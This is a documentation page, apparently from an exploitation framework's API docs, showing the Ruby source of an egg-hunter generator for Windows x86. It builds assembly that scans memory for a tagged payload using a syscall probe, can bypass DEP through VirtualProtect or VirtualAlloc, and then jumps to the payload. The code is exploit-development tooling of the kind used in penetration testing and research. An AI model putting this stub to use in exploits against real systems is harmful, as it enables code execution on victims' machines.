Module: Rex::Exploitation::Egghunter::Windows::X86

Defined in:
lib/rex/exploitation/egghunter.rb

Constant Summary collapse

Alias =
Rex::Arch::ARCH_X86

Instance Method Summary collapse

Instance Method Details

#hunter_stub(payload, badchars = '', opts = {}) ⇒ Object

The egg hunter stub for win/x86.

Raises:

  • (RuntimeError)


44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
# File 'lib/rex/exploitation/egghunter.rb', line 44

def hunter_stub(payload, badchars = '', opts = {})

  startreg      = opts[:startreg]
  searchforward = opts[:searchforward]

  raise RuntimeError, "Invalid egg string! Need 4 bytes." if opts[:eggtag].length != 4
  marker = "0x%x" % opts[:eggtag].unpack('V').first

  checksum = checksum_stub(payload, badchars, opts)

  startstub = ''
  if startreg
    if startreg.downcase != 'edx'
      startstub = "\n\tmov edx,#{startreg}\n\tjmp next_addr"
    else
      startstub = "\n\tjmp next_addr"
    end
  end
  startstub << "\n\t" if startstub.length > 0

  # search forward or backward ?
  flippage = "\n\tor dx,0xfff"
  edxdirection = "\n\tinc edx"

  if searchforward.to_s.downcase == 'false'
    # go backwards
    flippage = "\n\txor dl,dl"
    edxdirection = "\n\tdec edx"
  end

  # other vars
  getpointer   = ''
  getsize      = ''
  getalloctype = ''
  getpc        = ''
  jmppayload   = "jmp edi"

  apireg = opts[:depreg] || 'esi'
  apidest = opts[:depdest]
  depsize = opts[:depsize]

  freeregs = [ "esi", "ebp", "ecx", "ebx" ]

  reginfo = {
    "ebx"=>["bx","bl","bh"],
    "ecx"=>["cx","cl","ch"]
  }

  if opts[:depmethod]

    if freeregs.index(apireg) == nil
      getpointer << "mov #{freeregs[0]},#{apireg}\n\t"
      apireg = freeregs[0]
    end
    freeregs.delete(apireg)

    if opts[:depmethod].downcase == "virtualalloc"
      depsize = 0xfff
    end

    if opts[:depmethod].downcase == "copy" || opts[:depmethod].downcase == "copy_size"
      if apidest
        if freeregs.index(apidest) == nil
          getpointer << "mov #{freeregs[0]},#{apidest}\n\t"
          apidest = freeregs[0]
        end
      else
        getpc = "fldpi\n\tfstenv [esp-0xc]\n\tpop #{freeregs[0]}\n\t"
        apidest = freeregs[0]
      end
      freeregs.delete(apidest)
    end


    sizereg = freeregs[0]

    if not depsize
      depsize = payload.length * 2
      if opts[:depmethod]
        if opts[:depmethod].downcase == "copy_size"
          depsize = payload.length
        end
      end
    end

    if depsize <= 127
      getsize << "push 0x%02x\n\t" % depsize
    else
      sizebytes = "%04x" % depsize
      low = sizebytes[2,4]
      high = sizebytes[0,2]
      if sizereg == "ecx" || sizereg == "ebx"
        regvars = reginfo[sizereg]
        getsize << "xor #{sizereg},#{sizereg}\n\t"
        if low != "00" and high != "00"
          getsize << "mov #{regvars[0]},0x%s\n\t" % sizebytes
        elsif low != "00"
          getsize << "mov #{regvars[1]},0x%s\n\t" % low
        elsif high != "00"
          getsize << "mov #{regvars[2]},0x%s\n\t" % high
        end
      end
      if sizereg == "ebp"
        if low != "00" and high != "00"
          getsize << "xor #{sizereg},#{sizereg}\n\t"
          getsize << "mov bp,0x%s\n\t" % sizebytes
        end
      end
      # last resort
      if getsize == ''
        blockcnt = 0
        vpsize = 0
        blocksize = depsize
        while blocksize > 127
          blocksize = blocksize / 2
          blockcnt += 1
        end
        getsize << "xor #{sizereg},#{sizereg}\n\tadd #{sizereg},0x%02x\n\t" % blocksize
        vpsize = blocksize
        depblockcnt = 0
        while depblockcnt < blockcnt
          getsize << "add #{sizereg},#{sizereg}\n\t"
          vpsize += vpsize
          depblockcnt += 1
        end
        delta = depsize - vpsize
        if delta > 0
          getsize << "add #{sizereg},0x%02x\n\t" % delta
        end
      end
      if opts[:depmethod].downcase == "virtualalloc"
        getsize << "inc #{sizereg}\n\t"
      end

      getsize << "push #{sizereg}\n\t"

    end

    getalloctype = getsize

    case opts[:depmethod].downcase
      when "virtualprotect"
        jmppayload = "push esp\n\tpush 0x40\n\t"
        jmppayload << getsize
        jmppayload << "push edi\n\tpush edi\n\tpush #{apireg}\n\tret"
      when "virtualalloc"
        jmppayload = "push 0x40\n\t"
        jmppayload << getalloctype
        jmppayload << "push 0x01\n\t"
        jmppayload << "push edi\n\tpush edi\n\tpush #{apireg}\n\tret"
      when "copy"
        jmppayload = getpc
        jmppayload << "push edi\n\tpush #{apidest}\n\tpush #{apidest}\n\tpush #{apireg}\n\tmov edi,#{apidest}\n\tret"
      when "copy_size"
        jmppayload = getpc
        jmppayload << getsize
        jmppayload << "push edi\n\tpush #{apidest}\n\tpush #{apidest}\n\tpush #{apireg}\n\tmov edi,#{apidest}\n\tret"
    end
  end

  jmppayload << "\n" if jmppayload.length > 0

  assembly = <<EOS
#{getpointer}
#{startstub}
check_readable:
  #{flippage}
next_addr:
  #{edxdirection}
  push edx
  push 0x02   ; use NtAccessCheckAndAuditAlarm syscall
  pop eax
  int 0x2e
  cmp al,5
  pop edx
  je check_readable
check_for_tag:
  ; check that the tag matches once
  mov eax,#{marker}
  mov edi,edx
  scasd
  jne next_addr
  ; it must match a second time too
  scasd
  jne next_addr
  ; check the checksum if the feature is enabled
#{checksum}
  ; jump to the payload
  #{jmppayload}
EOS

  assembled_code = Metasm::Shellcode.assemble(Metasm::Ia32.new, assembly).encode_string

  # return the stub
  assembled_code
end